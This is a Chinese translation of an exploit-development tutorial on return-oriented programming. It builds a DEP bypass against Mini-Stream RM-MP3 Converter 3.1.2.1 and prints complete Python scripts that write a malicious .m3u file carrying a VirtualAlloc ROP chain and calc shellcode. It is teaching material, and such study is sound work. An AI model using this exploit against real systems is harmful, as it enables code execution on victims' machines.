返回导向编程 (ROP) 译者 :Netfairty 前言 欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将 要学习的是 ROP( 返回导向编程 ). 不像前一节我们把参数精心布置在堆栈然后调用 Windwos API 去执行它们. 所有介绍 ROP 教程都需

Similar documents
ROP_bamboofox.key

"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x8

上面的介绍会使我们的漏洞利用更清晰. 再次说明这篇教程不会覆盖所有的系列, 你还需要 做更多的研究. 好吧, 开始我们的旅途! 重现崩溃 是时候崩溃了 "Triologic Media Player 8". 这将是另一个文件格式的漏洞. 下面是 POC 和崩溃的截图, 你只需载入 evil.m3u

#!/usr/bin/python -w filename="evil.plf" buffer = "A"*2000 textfile = open(filename, 'w') textfile.write(buffer) textfile.close() 创建 plf 文件, 用 immunit

寻蛋技术 译者 :Netfairy 前言 欢迎来到漏洞利用开发系列教程第四部分. 这部分讲解一项很酷的技术 : 寻蛋. 这部分我将 用 Kolibri v2.0 HTTP Server 演示这项技术. 这里有写好的漏洞利用程序 : 这里 坏字符 : \x00\x0d\x0a\x3d\x20\x3f

Lorem ipsum dolor sit amet, consectetuer adipiscing elit

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字

1 CPU interrupt INT trap CPU exception

06721 main() lock pick proc() restart() [2][4] MINIX minix2.0 GDT, IDT irq table[] CPU CPU CPU CPU (IDTR) idt[] CPU _hwint00:! Interrupt

Windows XP

int *p int a 0x00C7 0x00C7 0x00C int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++;

untitled

Microsoft PowerPoint - XCon2010_win7_cn.ppt [兼容模式]

> u eip l 3 002f2aa9 90 nop 002f2aaa 90 nop >!chkimg -d -lo 1 ping // 检查文件是否被篡改? 002f2aa7-002f2aaa 4 bytes - ping!maincrtstartup [ e :f0 cc 9

Slide 1

可 愛 的 動 物 小 五 雷 雅 理 第 一 次 小 六 甲 黃 駿 朗 今 年 暑 假 發 生 了 一 件 令 人 非 常 難 忘 的 事 情, 我 第 一 次 參 加 宿 營, 離 開 父 母, 自 己 照 顧 自 己, 出 發 前, 我 的 心 情 十 分 緊 張 當 到 達 目 的 地 後

Microsoft Word - 08_科普作品選讀示例一_ doc

Windows RTEMS 1 Danilliu MMI TCP/IP QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos eco

前沿技术 全面绕过执行流保护 安全研究部张云海 执行流保护 (CFG,Control Flow Guard) 是微软在 Windows 10 技术预览版与 Windows 8.1 update 3 中, 默认启用的一项缓解技术 在分析 CFG 的实现机制的过程中, 我们发现了一种全面绕过 CFG 的

1.ai

<4D F736F F D20CEC4BCFEBCB6B6F1D2E2B4FAC2EBC9A8C3E8D2FDC7E6D6D0B5C4BCD3BFC7CAB6B1F0BCBCCAF52E646F6378>

+00DE _01EN.book

目 录

Improved Preimage Attacks on AES-like Hash Functions: Applications to Whirlpool and Grøstl

PowerPoint 演示文稿

Greek God Muscle Building Program ROAD MAP

IP505SM_manual_cn.doc

Microsoft Word htm

星河33期.FIT)

K301Q-D VRT中英文说明书141009

untitled

Chapter 24 DC Battery Sizing

FY.DOC

ebook50-15

投影片 1

学习MSP430单片机推荐参考书

Serial ATA ( Silicon Image SiI3114)...2 (1) SATA... 2 (2) B I O S S A T A... 3 (3) RAID BIOS RAID... 5 (4) S A T A... 8 (5) S A T A... 10

Untitled

bingdian001.com

,768 32,767 32K JMP Jnnn (386+) LOOP CALL [Label:] JMP short/near/far address L10: jmp jmp L20: L10 L20

新竹市建華國民中學九十四學年度課程計畫

LOVE IS OVER LOVE LOVE LOVE LOVE IS EVERYTHING LOVE LOVE LOVE LOVER'S QUEEN LYDIA MAYBE TOMORROW MEN'S TALK MY DEAR MY FRIEND MY OH MY MY SUMMER DREAM

概述

VASP应用运行优化

幻灯片 1

高雄市左營國民小學八十九學年度第一學期一年級總體課程教學進度表

海 南 冯 琳 峰 海 南 省 锅 炉 压 力 容 器 与 特 种 设 备 检 验 所 海 南 省 定 安 县 白 蒙 路 47 号 信 XC 内 蒙 古 冯 磊 赤 峰 市 特 种 设 备 检 验 所 内 蒙 古 赤 峰 市 红 山 区 八 里 铺 油 库 路

SiteView技术白皮书

IP TCP/IP PC OS µclinux MPEG4 Blackfin DSP MPEG4 IP UDP Winsock I/O DirectShow Filter DirectShow MPEG4 µclinux TCP/IP IP COM, DirectShow I

國 立 政 治 大 學 教 育 學 系 2016 新 生 入 學 手 冊 目 錄 表 11 國 立 政 治 大 學 教 育 學 系 博 士 班 資 格 考 試 抵 免 申 請 表 論 文 題 目 申 報 暨 指 導 教 授 表 12 國 立 政 治 大 學 碩 博 士 班 論

OptiROP:

99 學年度班群總介紹 第 370 期 班群總導 陳怡靜 G45 班群總導 陳怡靜(河馬) A 家 惠如 家浩 T 格 宜蓁 小 霖 怡 家 M 璇 均 蓁 雴 家 數學領域 珈玲 國燈 英領域 Kent

如何使用MyNSLab(MNSL)完成老師指派的作業(學生篇)

第一章 出口退税制改革的内容

易语言逆向分析

(Microsoft Word - 10\246~\253\327\262\304\244@\264\301\256\325\260T_Version4)


摘 要 互 联 网 的 勃 兴 为 草 根 阶 层 书 写 自 我 和 他 人 提 供 了 契 机, 通 过 网 络 自 由 开 放 的 平 台, 网 络 红 人 风 靡 于 虚 拟 世 界 近 年 来, 或 无 心 插 柳, 或 有 意 噱 头, 或 自 我 表 达, 或 幕 后 操 纵, 网 络

< F5FB77CB6BCBD672028B0B6A46AABE4B751A874A643295F5FB8D5C5AA28A668ADB6292E706466>

第 15 章 程 式 編 写 語 言 15.1 程 式 編 写 語 言 的 角 色 程 式 編 寫 語 言 是 程 式 編 寫 員 與 電 腦 溝 通 的 界 面 語 法 是 一 組 規 則 讓 程 式 編 寫 員 將 字 詞 集 合 起 來 電 腦 是 處 理 位 元 和 字 節 的 機 器, 與

前言 C# C# C# C C# C# C# C# C# microservices C# More Effective C# More Effective C# C# C# C# Effective C# 50 C# C# 7 Effective vii

Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt

Microsoft PowerPoint - ch6 [相容模式]

Microsoft Word - TIP006SCH Uni-edit Writing Tip - Presentperfecttenseandpasttenseinyourintroduction readytopublish


Microsoft Word - 第四組心得.doc

NEXT SDT2.51 C:\ARM251 SDT2.51 ARM SDT 2.51 ARM PROJECT MANAGER SDT 2

Lorem ipsum dolor sit amet, consectetuer adipiscing elit

2. 过程 这里主要使用 gdb 来拆炸弹 当然, 用其他工具来辅助, 应该可以更高效地完成 (gdb) echo ======================= Defuse Phase_1 ==============================\n\n ==================

Transcription:

返回导向编程 (ROP) 译者 :Netfairty 前言 欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将 要学习的是 ROP( 返回导向编程 ). 不像前一节我们把参数精心布置在堆栈然后调用 Windwos API 去执行它们. 所有介绍 ROP 教程都需要你做很多的工作才能掌握它. 但是在次提醒本教 程不会覆盖 ROP 所有细节. 如果你想更好的理解 ROP 我推荐你看 corelanc0d3r s 的文章 我将用 "Mini-Stream RM-MP3 Converter 3.1.2.1" 来介绍这项技术. 之前的一个漏洞利用程序 在这里, 但是我们要做一些不一样的东西, 它更高效. 调试机器 :Windows 7( 任何 Windows 7 版本都可以, 我用的是 WIN7 PRO SP1) 坏字符 : \x00\x09\x0a 漏洞软件 : 下载 介绍 为什么要学习 ROP? 人们滥用堆栈溢出很多年. 为了减轻攻击带来的损失. 微软从 WIN XP SP2 和 WIN SERVER 2003 开始引进了一项新的安全措施对抗从不可执行区域范围执行代码. DEP( 数据执行保护 ) 包含两部分 : 硬件 DEP: CPU 置内存为不可执行 软件 DEP 支持硬件 DEP 的 CPU 会拒绝执行被标记为不可执行的 (NX) 内存页的代码. 这么做的目的是防 止攻击者将恶意代码注入的另外一个程序执行. 尤其是基于栈溢出的漏洞, 由于 DEP, 上的 shellcode 将不会被执行. 但 DEP 有时会造成程序意外错误, 因为程序有时候可能需要在不可 执行区域执行代码. 为了解决这个问题, 微软提供了两种 DEP 配置. Opt-In Mode:DEP 只对系统进程和特别定义的进程启用 Opt-Out Mode:DEP 对系统所有进程和服务启用, 除了禁用的进程. 这对漏洞利用意味着什么? 当我们尝试在启用 DEP 的内存执行代码, 程序将会返回一个访 问冲突 STATUS_ACCESS_VIOLATION (0xc0000005)". 然后程序就终止了. 对于攻击者来说这 显然不是好事. 但是有趣的是 DEP 可以被关闭, 这意味着调用某个 Windows API 可以把某段 不可执行区域设置为可执行. 主要的问题仍然是, 如果我们不能执行任何代码的话又怎么去调用这个 API 呢? 开始我们的 ROP( 返回导向编程 ). 这项技术最早由 Sebastian Krahmer 在 2005 的 SUSE Linux 提

出. 你可以在这里找到这篇文档. ROP 基本的思想是借助已经存在的代码块 ( 也叫配件 ), 这些 配件来自程序已经加载的模块, 用这些配件为我们的目标 API 设置参数. 我们可以在已加载 的模块中找到一些列以 retn 结尾的配件, 把这些配件的地址布置在堆栈上, 当控制 EIP 并返回时候, 程序就会跳去执行这些小配件, 而这些小配件是在别的模块代码段, 不受 DEP 的影 响. 这就是 ROP 的原理, 下面的这个例子可以帮助我们更好的理解它 : (1) 指针直接执行 retn (2) 指针指向一些指令 +retn ESP ->???????? => RETN ESP ->???????? => POP EAX # RETN???????? => RETN ffffffff => we put this value in EAX???????? => RETN???????? => INC EAX # RETN???????? => RETN???????? => XCHG EAX,EDX # RETN (1) 这里 retn 仅仅是增加 esp (2) 用配件将 EDX 清 0 相信你已经理解 ROP 的思想了. 下面我们列举所有的 ROP 配件一会会用它们布置目标 API 的参数, 目标 API 才是真正关闭 DEP 的函数. 这项技术成功的关键在于我们需要在未启用 ASLR 的模块去寻找这些小配件. 下面是不同的 API 在不同的系统下可用情况. 可以看到不止一种方法可以达到目的. 有些方法更普遍. 不同的 API 有不同的参数, 详细的 参数请看 MSDN. 一般而言系统模块都启用了 ASLR. 所以我们从软件自身加载的模块看是否 包含这些 API 的指针. 基本上有两种方式写 ROP (1) 把 API 需要的参数都放到寄存器, 用一个 push 指令把他们压入栈 ( 这是下面我们要做的 ) (2) 直接把 API 需要的参数布置到栈然后跳去这个 API 执行, 这种方法有点难. 最后我要提一点, 对 payload 创建一个完整的 ROP 也是可以的. 收集配件 漏洞利用比较抽象, 你得到的信息越多, 你看的就越清楚, 离成功也就越近. 让我们看看下 面这个 POC, BBBB 将会覆写 EIP.

#!/usr/bin/python import sys, struct file="crash.m3u" # Badchars: '\x00\x09\x0a' # crash = "http://." + "A"*17416 + "B"*4 + "C"*7572 writefile = open (file, "w") writefile.write( crash ) writefile.close() 老办法, 附加 Mini-Stream 到调试器然后打开 crash.m3u 文件. 你可以看到下图所示的崩溃. 有几点值得注意 :(1)ESP 指向我们的缓冲区真是好消息因为我们可以用 retn 指令地址覆写 EIP 从而跳到我们 ROP 链的开始. (2) 我们看到 ESP 指向 EIP+4 的位置, 稍后我们要填充着 4 个 字节.

好. 我们基本搞清了内存布局. 用 mona 看看软件加载了哪些模块 ( 记住只要没有 non-base, no-aslr,no 坏字符 ). 看起来只有一个 dll 符合要求 (MSRMfilter03.dll). 接下来用 mona 搜索 ROP 链需要的小配件. 分别执行这两个命令 :!mona modules!mona ropfunc -m MSRMfilter03.dll -cpb '\x00\x09\x0a' 最后就是用 mona 在 MSRMfilter03.dll 找到这些小配件, mona 会生成几个重要的文件 :

rop.txt (ROP 配件的原始列表 ), rop_suggestions.txt ( 基于函数过滤后的 ROP 配件列表 ), stackpivot.txt ( 转移 ESP 的配件 ), rop_virtualprotect.txt ( 基于 VirtualProtect 函数的 ROP 链小 配件 ). 我建议打开这些文件方便随时参考. 尽管我们将要用 VirtualAlloc 去禁用 DEP, 我们同样会看看 rop_virtualprotect.txt 是否有我们需要的小配件.!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a' 构建 ROP-Chain 在开始之前, 像之前看到的我们可以用 retn 指令地址覆写 EIP, 如果你打开 rop.txt 你可以选 择其中一个 retn 地址, 用这个地址替换 BBBB, 别忘记填充 4 个自己 (ESP=EIP+4) #!/usr/bin/python import sys, struct file="crash.m3u" rop = struct.pack('<l',0x41414141) # padding to compensate 4-bytes at ESP

# Badchars: '\x00\x09\x0a' # # kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) # # EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) # crash = "http://." + "A"*17416 + "\x60\x9c\x01\x10" + rop + "C"*(7572-len(rop)) writefile = open (file, "w") writefile.write( crash ) writefile.close() 不错, 下面看看 VirtualAlloc 这个 API. 我建议你花点时间读下 MSDN 文件, 便于更好理解我 们要使用的参数. VirtualAlloc: MSDN 结构 : 参数 : LPVOID WINAPI VirtualAlloc( => A pointer to VirtualAlloc() ); _In_opt_ LPVOID lpaddress, => Return Address (Redirect Execution to ESP) _In_ SIZE_T dwsize, => dwsize (0x1) _In_ DWORD flallocationtype, => flallocationtype (0x1000) _In_ DWORD flprotect => flprotect (0x40) 可以看到大部分参数值只需要保持默认即可. 你同样可以用 VirtualProtect 这个 API 去完成任务. VirtualProtect: MSDN 结构 : 参数 : BOOL WINAPI VirtualProtect( => A pointer to VirtualProtect() _In_ LPVOID lpaddress, => Return Address (Redirect Execution to ESP) ); _In_ SIZE_T dwsize, => dwsize up to you to chose as needed (0x201) _In_ DWORD flnewprotect, => flnewprotect (0x40) _Out_ PDWORD lpfloldprotect => A writable pointer 记住这些信息, 开始改变我们的 POC, 使我们对 ROP-Chain 有更清晰的认识 #!/usr/bin/python import sys, struct file="crash.m3u" #---------------------------------------------------------[Structure]-# # LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc # # _In_opt_ LPVOID lpaddress, => Return Address (Call to ESP) #

# _In_ SIZE_T dwsize, => dwsize (0x1) # # _In_ DWORD flallocationtype, => flallocationtype (0x1000) # # _In_ DWORD flprotect => flprotect (0x40) # # ); # #---------------------------------------------------[Register Layout]-# # Remember (1) the stack grows downwards so we need to load the # # values into the registers in reverse order! (2) We are going to do # # some clever trickery to align our return after executing. To # # acchieve this we will be filling EDI with a ROP-Nop and we will be # # skipping ESP leaving it intact. # # # # EAX 90909090 => Nop # # ECX 00000040 => flprotect # # EDX 00001000 => flallocationtype # # EBX 00000001 => dwsize # # ESP???????? => Leave as is # # EBP???????? => Call to ESP (jmp, call, push,..) # # ESI???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 # # EDI 10019C60 => ROP-Nop same as EIP # rop = struct.pack('<l',0x41414141) # padding to compensate 4-bytes at ESP # Badchars: '\x00\x09\x0a' # # kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) # # EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) # crash = "http://." + "A"*17416 + "\x60\x9c\x01\x10" + rop + "C"*(7572-len(rop)) writefile = open (file, "w") writefile.write( crash ) writefile.close() 现在我们的任务是把 ROP-Chain 综合在一起设置 VirtualAlloc 的值. 我们需要整理这些指针, 因为某些指令的执行可能会改变已经设置好的寄存器. 先整理一些简单的 (1) EDI -> We need to put a ROP-Nop in EDI 0x10029b57 # POP EDI # RETN 0x1002b9ff # ROP-Nop (we already have this value from EIP) (2) EBP -> Redirect Execution flow to ESP 0x100532ed # POP EBP # RETN 0x100371f5 # CALL ESP (!mona jmp -r ESP -m MSRMfilter03.dll -cpb '\x00\x09\x0a')

(3) EAX -> Fill with a regular NOP 0x10030361 # POP EAX # RETN 0x90909090 # NOP (just a regular NOP) (4) We need to end our chain with a PUSHAD 0x10014720 # PUSHAD # RETN (can be found in rop_virtualprotect.txt) 别的一些可能令人费解, 需要一些创造力. 但是在我的努力下能把我们需要的指令链在一起. 下面就是我布置的 ROP-Chain, 但这并不是唯一的选择. 布置 ROP 链有很多的方式, 发挥你 的创造力吧. (5) EBX -> dwsize (0x1) 0x10013b1c # POP EBX # RETN 0xffffffff # will be 0x1 (EBX will be set to 0xffffffff) 0x100319d3 # INC EBX # FPATAN # RETN \ Increasing EBX twice will set EBX to 0x00000001 0x100319d3 # INC EBX # FPATAN # RETN / (6) EDX -> flallocationtype (0x1000) 0x1003fb3f # MOV EDX,E58B0001 # POP EBP # RETN (we move a static value into EDX for calculations) 0x41414141 # padding for POP EBP (compensation for the POP) 0x10013b1c # POP EBX # RETN 0x1A750FFF # ebx+edx => 0x1000 flallocationtype (FFFFFFFF-E58B0001=1A74FFFE => 1A74FFFE+00001001=1A750FFF) 0x10029f3e # ADD EDX,EBX # POP EBX # RETN 10 (when we add these valuse together the result is 0x00001000) 0x1002b9ff # Rop-Nop to compensate \ 0x1002b9ff # Rop-Nop to compensate 0x1002b9ff # Rop-Nop to compensate This is to compensate for the POP and RETN 10 0x1002b9ff # Rop-Nop to compensate 0x1002b9ff # Rop-Nop to compensate 0x1002b9ff # Rop-Nop to compensate / (7) ECX -> flprotect (0x40) (This technique works because EDX points to a valid memory location at run-time!! I tested this on windows XP and there it didn't seem to be the case. It would be an interesting exercise to make this gadget more universal.) 0x100280de # POP ECX # RETN 0xffffffff # will become 0x40 (ECX will be set to 0xffffffff) 0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN 0x00000001 0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN / 0x1002a487 # ADD ECX,ECX # RETN \ \ ECX will be set to

0x1002a487 # ADD ECX,ECX # RETN 0x1002a487 # ADD ECX,ECX # RETN Adding ECX to itself cycles ECX -> 1,2,4,8,10,20,40 -> 0x00000040 0x1002a487 # ADD ECX,ECX # RETN 0x1002a487 # ADD ECX,ECX # RETN 0x1002a487 # ADD ECX,ECX # RETN / (8) ESI -> VirtualAlloc (We already have a pointer to VirtualAlloc (0x1005d060) but we need the DWORD value that is located at that pointer. Again here EBP points to a valid memory address (untested on XP).) 0x1002ba02 # POP EAX # RETN 0x1005d060 # kernel32.virtualalloc 0x10027f59 # MOV EAX,DWORD PTR DS:[EAX] # RETN (get the DWORD value located at 0x1005d060) 0x1005bb8e # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN (EAX -> ESI) 有些序列似乎有点复杂, 但他们不是很难理解, 需要一些时间来看看, 理解它们 正如你所看到的一些小配件操纵多个寄存器加载合适的值. 我们需要布置的小配件在这不会影响我 们的 ROP 链. 是时候把所有东西放在一起, 调整我们的 POC 如下 : #!/usr/bin/python import sys, struct file="crash.m3u" #---------------------------------------------------------[Structure]-# # LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc # # _In_opt_ LPVOID lpaddress, => Return Address (Call to ESP) # # _In_ SIZE_T dwsize, => dwsize (0x1) # # _In_ DWORD flallocationtype, => flallocationtype (0x1000) # # _In_ DWORD flprotect => flprotect (0x40) # # ); # #---------------------------------------------------[Register Layout]-# # Remember (1) the stack grows downwards so we need to load the # # values into the registers in reverse order! (2) We are going to do # # some clever trickery to align our return after executing. To # # acchieve this we will be filling EDI with a ROP-Nop and we will be # # skipping ESP leaving it intact. # # # # EAX 90909090 => Nop # # ECX 00000040 => flprotect # # EDX 00001000 => flallocationtype # # EBX 00000001 => dwsize #

# ESP???????? => Leave as is # # EBP???????? => Call to ESP (jmp, call, push,..) # # ESI???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 # # EDI 10019C60 => ROP-Nop same as EIP # rop = struct.pack('<l',0x41414141) # padding to compensate 4-bytes at ESP rop += struct.pack('<l',0x10029b57) # POP EDI # RETN rop += struct.pack('<l',0x1002b9ff) # ROP-Nop #-----------------------------------------[ROP-Nop -> EDI]-# rop += struct.pack('<l',0x100280de) # POP ECX # RETN rop += struct.pack('<l',0xffffffff) # will become 0x40 rop += struct.pack('<l',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN rop += struct.pack('<l',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN #--------------------------------[flprotect (0x40) -> ECX]-# rop += struct.pack('<l',0x1002ba02) # POP EAX # RETN rop += struct.pack('<l',0x1005d060) # kernel32.virtualalloc rop += struct.pack('<l',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN rop += struct.pack('<l',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN #------------------------------------[VirtualAlloc -> ESI]-# rop += struct.pack('<l',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN rop += struct.pack('<l',0x41414141) # padding for POP EBP rop += struct.pack('<l',0x10013b1c) # POP EBX # RETN rop += struct.pack('<l',0x1a750fff) # ebx+edx => 0x1000 flallocationtype rop += struct.pack('<l',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10 #-----------------------[flallocationtype (0x1000) -> EDX]-# rop += struct.pack('<l',0x100532ed) # POP EBP # RETN rop += struct.pack('<l',0x100371f5) # CALL ESP #----------------------------------------[CALL ESP -> EBP]-# rop += struct.pack('<l',0x10013b1c) # POP EBX # RETN rop += struct.pack('<l',0xffffffff) # will be 0x1 rop += struct.pack('<l',0x100319d3) # INC EBX # FPATAN # RETN

rop += struct.pack('<l',0x100319d3) # INC EBX # FPATAN # RETN #------------------------------------[dwsize (0x1) -> EBX]-# rop += struct.pack('<l',0x10030361) # POP EAX # RETN rop += struct.pack('<l',0x90909090) # NOP #---------------------------------------------[NOP -> EAX]-# rop += struct.pack('<l',0x10014720) # PUSHAD # RETN #----------------------------------------[PUSHAD -> pwnd!]-# # Badchars: '\x00\x09\x0a' # # kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) # # EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) # crash = "http://." + "A"*17416 + "\x60\x9c\x01\x10" + rop + "C"*(7572-len(rop)) writefile = open (file, "w") writefile.write( crash ) writefile.close() 你可以调试这个 ROP 链, 以确保一切按计划进行. 在下面的截图中可以看到 VirtualAlloc 是在 堆栈上被调用的. 布置在后面的任何代码都会被执行.

Shellcode+ 游戏结束 ROP 第二阶段就是要插入我们要执行的 shellcode, 由于我们没有分配大量的内存, 所以我们 可控的空间是有限的. 没关系, 我使用 SkyLined 的 calc 这里 ). 但其实可以分配更大内存的, 这留给你们去完成. #!/usr/bin/python shellcode( 有兴趣的话你可以看看 #----------------------------------------------------------------------------------# # Exploit: Mini-stream RM-MP3 Converter 3.1.2.1 (*.m3u) # # OS: Win7 Pro SP1 # # Author: b33f (Ruben Boonen) # # Software: http://www.exploit-db.com/wp-content/themes/exploit/applications # # /ce47c348747cd05020b242da250c0da3-mini-streamrm-mp3converter.exe # #----------------------------------------------------------------------------------# # This exploit was created for Part 7 of my Exploit Development tutorial # # series - http://www.fuzzysecurity.com/tutorials/expdev/7.html # #----------------------------------------------------------------------------------# import sys, struct file="crash.m3u" #---------------------------------------------------------[Structure]-# # LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc # # _In_opt_ LPVOID lpaddress, => Return Address (Call to ESP) # # _In_ SIZE_T dwsize, => dwsize (0x1) # # _In_ DWORD flallocationtype, => flallocationtype (0x1000) # # _In_ DWORD flprotect => flprotect (0x40) # # ); # #---------------------------------------------------[Register Layout]-# # Remember (1) the stack grows downwards so we need to load the # # values into the registers in reverse order! (2) We are going to do # # some clever trickery to align our return after executing. To # # acchieve this we will be filling EDI with a ROP-Nop and we will be # # skipping ESP leaving it intact. # # # # EAX 90909090 => Nop # # ECX 00000040 => flprotect # # EDX 00001000 => flallocationtype # # EBX 00000001 => dwsize # # ESP???????? => Leave as is # # EBP???????? => Call to ESP (jmp, call, push,..) # # ESI???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #

# EDI 10019C60 => ROP-Nop same as EIP # rop = struct.pack('<l',0x41414141) # padding to compensate 4-bytes at ESP rop += struct.pack('<l',0x10029b57) # POP EDI # RETN rop += struct.pack('<l',0x1002b9ff) # ROP-Nop #-----------------------------------------[ROP-Nop -> EDI]-# rop += struct.pack('<l',0x100280de) # POP ECX # RETN rop += struct.pack('<l',0xffffffff) # will become 0x40 rop += struct.pack('<l',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN rop += struct.pack('<l',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN #--------------------------------[flprotect (0x40) -> ECX]-# rop += struct.pack('<l',0x1002ba02) # POP EAX # RETN rop += struct.pack('<l',0x1005d060) # kernel32.virtualalloc rop += struct.pack('<l',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN rop += struct.pack('<l',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN #------------------------------------[VirtualAlloc -> ESI]-# rop += struct.pack('<l',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN rop += struct.pack('<l',0x41414141) # padding for POP EBP rop += struct.pack('<l',0x10013b1c) # POP EBX # RETN rop += struct.pack('<l',0x1a750fff) # ebx+edx => 0x1000 flallocationtype rop += struct.pack('<l',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10 #-----------------------[flallocationtype (0x1000) -> EDX]-# rop += struct.pack('<l',0x100532ed) # POP EBP # RETN rop += struct.pack('<l',0x100371f5) # CALL ESP #----------------------------------------[CALL ESP -> EBP]-# rop += struct.pack('<l',0x10013b1c) # POP EBX # RETN rop += struct.pack('<l',0xffffffff) # will be 0x1 rop += struct.pack('<l',0x100319d3) # INC EBX # FPATAN # RETN rop += struct.pack('<l',0x100319d3) # INC EBX # FPATAN # RETN #------------------------------------[dwsize (0x1) -> EBX]-# rop += struct.pack('<l',0x10030361) # POP EAX # RETN

rop += struct.pack('<l',0x90909090) # NOP #---------------------------------------------[NOP -> EAX]-# rop += struct.pack('<l',0x10014720) # PUSHAD # RETN #----------------------------------------[PUSHAD -> pwnd!]-# # SkyLined's Calc shellcode calc = ( "\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64" "\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b" "\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20" "\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x42\xad\x81\x3c\x07" "\x57\x69\x6e\x45\x75\xf5\x0f\xb7\x54\x51\xfe\x8b\x74" "\x1f\x1c\x01\xfe\x03\x3c\x96\xff\xd7") # Badchars: '\x00\x09\x0a' # # kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) # # EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) # shell = "\x90"*5 + calc crash = "http://." + "A"*17416 + "\x60\x9c\x01\x10" + rop + shell + "C"*(7572-len(rop + shell)) writefile = open (file, "w") writefile.write( crash ) writefile.close()

原文链接 :http://www.fuzzysecurity.com/tutorials/expdev/7.html